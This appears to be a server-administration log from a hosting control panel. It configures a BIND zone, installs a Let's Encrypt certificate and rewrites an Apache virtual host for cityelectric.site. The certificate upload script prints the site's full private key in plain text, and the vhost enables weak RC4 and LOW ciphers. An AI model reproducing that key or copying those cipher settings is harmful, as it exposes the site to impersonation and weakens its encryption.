MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 566c32e3b9aa3a382af724c62de6b808
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:30:02: 

PUT: /tmp/pkp119788

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:30:02: 

chmod 755 /tmp/pkp119788; /tmp/pkp119788; rm /tmp/pkp119788

2026-02-09 15:30:05: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:30:05: 

PUT: /tmp/pkp944167

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:30:05: 

chmod 755 /tmp/pkp944167; /tmp/pkp944167; rm /tmp/pkp944167

2026-02-09 15:30:05: 


zone reload up-to-date


2026-02-09 15:30:19: Establishing a remote connection
2026-02-09 15:30:19: 

PUT: /tmp/pkp652779

#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt

cat > $temp_file <<'endmsg'
41:b4:f4:26:ec:38:97:8e:a4:78:eb:3e:95:6a:17:8d

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBRFYOlzbVFfmgwUkVK47tCYvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA5MTQzMTQ4WhcNMjYwNTEwMTQzMTQ3WjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMGoh3u97F4IGv+HXC/sl0zqT63eQofIGsKLvbh558kQ+yBRIXhB2KBe1HTF
oB7RzsgNFkagqXG4wtlRgvdJOo49e04tnmSo8ADeyhTDsPeVxsV2yfG3PfxIctzr
szuBUAEH4xSlqJr8DpdqDUQmZrZv6L2GpPK9gXRWZ5JiZg3WrQ+iUkx0YHU6hP7s
QOysakJI0stF+2MZScSX5d+roQzTAh/8fav7ZNKvFKwzhdchVQshOm/jbP3icnQk
yV9R1VsPO1k80FK05DSZ09UvXIeo8PnHnsZ2yP5dc42TKSIKga8l+oHodN2f9Few
3SBpvW6CQvaaCxS6ZDZ0ppx5gocCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUlK86uiCYx811jJk7lXKO9ojfyTEwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAxBgNVHREEKjAoghMqLmNpdHllbGVjdHJpYy5z
aXRlghFjaXR5ZWxlY3RyaWMuc2l0ZTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNV
HR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzQ4LmNybDCCAQUG
CisGAQQB1nkCBAIEgfYEgfMA8QB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGp
JaxhxU4hAAABnEMGZAwAAAQDAEcwRQIhAO22X9hUPuojte3rzOQf7A3k7QInREUh
XXSIT7AjmuTyAiAuTCtuDnqbyy5z9MbSgkvjeC56NuKa/QyoLgQiiFrSVAB3ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABnEMGZg0AAAQDAEgwRgIh
AJIuYGqh/+T8eOlicmpnzt0KGVfhNaVTz9TgSC36TlRsAiEA3P7Wj8c2PEEZPE2s
wqd38Gi8ZJLhEvjOXjtj6UPKEnMwDQYJKoZIhvcNAQELBQADggEBAF+FsyFR3fN4
ND0Wx3a9x8Ae2HNP4mikeN/U0COqr4VJgz0w8lrBRo1w3tSTdpEO+ptKWsFbqzpi
tIezL9HoZGNSBALEcPmeqIUcymMhyCICsS6D9NHuQGBQEJhlAFb8to3gNQorDPzw
3kyqEJRKqmnUF+mDYOAf0LJodVgeubCefYPsnwvK3qEtjM3hyDqQxGKsbz3tW++v
YSx3GPHsG17H72y94pg0JKDGCSVf+nBTLubmtrCGdZa6tQqrayNFH80CKB2gcU72
fFYQMsshKyssZdoyZWx5BIc4eNB/mdXuaMb4Iml7vorf0Hp+1i3MPQPXs7P0Af+P
bnLQsyBZJZg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDBqId7vexeCBr/
h1wv7JdM6k+t3kKHyBrCi724eefJEPsgUSF4QdigXtR0xaAe0c7IDRZGoKlxuMLZ
UYL3STqOPXtOLZ5kqPAA3soUw7D3lcbFdsnxtz38SHLc67M7gVABB+MUpaia/A6X
ag1EJma2b+i9hqTyvYF0VmeSYmYN1q0PolJMdGB1OoT+7EDsrGpCSNLLRftjGUnE
l+Xfq6EM0wIf/H2r+2TSrxSsM4XXIVULITpv42z94nJ0JMlfUdVbDztZPNBStOQ0
mdPVL1yHqPD5x57Gdsj+XXONkykiCoGvJfqB6HTdn/RXsN0gab1ugkL2mgsUumQ2
dKaceYKHAgMBAAECggEAGm84mIhbG0DMUqS1ouhkL2sX15oXByAmSve2ki0NxHFC
yO1aKLywPGqFYgUsmgMLULJnSoUZbBJg1+JGWB6mVWPeENStoibkpUcZWuPqzvj3
v4eQrE6A3GQ/+EOyMlqwmDDClf8WOJr/G5BYjDzDrikwzKzJl5riRgZEsAN/fmmE
/yhdWlKLbe1h1BQTBALH97GGcXXDZ3I4SqnEClMT3GSKcWQtn3gZLEduodeqtj5L
IOQl75WTUuzqpxjojpgln4jcDHtbRvzcNFS/juopsVUCY6yYyKGqUSZSePYvs44G
W+lCytweAbAtc1e3CU5g39gYcMzptfNH3MZtmumZAQKBgQDqwxjozCMc+v+cyHXR
SLgUt3NrRbjDtNxuqJTz2nmyjPl8d0AYzjKlwR4OEEP8DD8mGyciUrs14F2qpqzJ
7yi43RaU8v6uG8soTNv3/dMT0J5RPMZW9uelK3ft+XHQCD8AJnsqioZk49G6Fu4o
/yIQWuN8y08X34a4+7CYYKwLAQKBgQDTLYBNWy0JhlSwKwmvbemy61RJbBE9WarI
6Z2rgF9E+teazwzYOICSL9cGVYyYNB3OGlOS7hUUAKvDgUP7ipnwzHtMCsDN5Skp
gaOBhvIxtk0c/jVfpFXJ8Ho6x+SuSSO4J8b8A3PMjQrqLtUOHoo88gP7rjVuEpmJ
B/GgVfi1hwKBgDHslXKEXv89vXgpBS0hiswVCz2H0TgFUU9TGIIXNwQqiK/YaFAe
IZUwUWTqPpruO8utwI/DCj713NV6poo3CvDtS20Xk+OQ045Zcfn2B5pSJijehMtf
rHlqmhGIl5SG/GbayByO4u+3pxUs5S7guuzBd1lFnydTiMHz/GUbQdsBAoGAOcqW
9RSBk7y2SmvMv7yVmwg5zcoMQbzbNxZvtrJv4AHBpTUKb9WuodMDxlD9I94HVhLw
UiJjlFDGsL8caqc4j6R2DY5Xy0DubdRzeYwDlcUs/0U2OBFSBOyRlqqDk4qigtAn
7WnIc+8ZUJM2bSHAdQNKQcMgDhp69/w7jMRaRtsCgYEAt08aZ6u3ge9gCWSySgLd
CcHU+ovfOaB6GzbUMHCXBnnw3wekKU/J/z0MuQJjwAjiwI062pq3NbNmom/M0M8j
L7Q2o0MW5DW95m1iGKYs1tgK2KJOyOI6qt2U3G7iBO4HbUDFhxQkXHFfkQLTOBj8
MFKeMjO96J4brHFyL/SHjIs=
-----END PRIVATE KEY-----


endmsg

cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	cp $chain_file /etc/ssl/certs/$CHAINTARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file
rm $chain_file


2026-02-09 15:30:19: 

chmod 755 /tmp/pkp652779; /tmp/pkp652779; rm /tmp/pkp652779



dir=/etc/ssl/certs


2026-02-09 15:30:20: 

PUT: /tmp/pkp573939

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-09 15:30:20: 

chmod 755 /tmp/pkp573939; /tmp/pkp573939; rm /tmp/pkp573939

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>






2026-02-09 15:30:21: 

PUT: /tmp/pkp489425

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi


2026-02-09 15:30:21: 

chmod 755 /tmp/pkp489425; /tmp/pkp489425; rm /tmp/pkp489425





2026-02-09 15:30:22: 

PUT: /tmp/pkp678491

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-09 15:30:22: 

chmod 755 /tmp/pkp678491; /tmp/pkp678491; rm /tmp/pkp678491



.


2026-02-09 15:30:24: Establishing a remote connection
2026-02-09 15:30:24: 

PUT: /tmp/pkp878615

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-09 15:30:24: 

chmod 755 /tmp/pkp878615; /tmp/pkp878615; rm /tmp/pkp878615



VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:2)
                 alias www.cityelectric.site
         port 80 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:20)
         port 443 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:20)
                 alias www.cityelectric.site
         port 443 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-09 15:30:26: 

PUT: /tmp/pkp107957

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:30:26: 

chmod 755 /tmp/pkp107957; /tmp/pkp107957; rm /tmp/pkp107957

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf	1376

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>







2026-02-09 15:30:27: 

PUT: /tmp/pkp716144

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt')
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:30:27: 

chmod 755 /tmp/pkp716144; /tmp/pkp716144; rm /tmp/pkp716144

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt	3580
41:b4:f4:26:ec:38:97:8e:a4:78:eb:3e:95:6a:17:8d

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBRFYOlzbVFfmgwUkVK47tCYvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA5MTQzMTQ4WhcNMjYwNTEwMTQzMTQ3WjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMGoh3u97F4IGv+HXC/sl0zqT63eQofIGsKLvbh558kQ+yBRIXhB2KBe1HTF
oB7RzsgNFkagqXG4wtlRgvdJOo49e04tnmSo8ADeyhTDsPeVxsV2yfG3PfxIctzr
szuBUAEH4xSlqJr8DpdqDUQmZrZv6L2GpPK9gXRWZ5JiZg3WrQ+iUkx0YHU6hP7s
QOysakJI0stF+2MZScSX5d+roQzTAh/8fav7ZNKvFKwzhdchVQshOm/jbP3icnQk
yV9R1VsPO1k80FK05DSZ09UvXIeo8PnHnsZ2yP5dc42TKSIKga8l+oHodN2f9Few
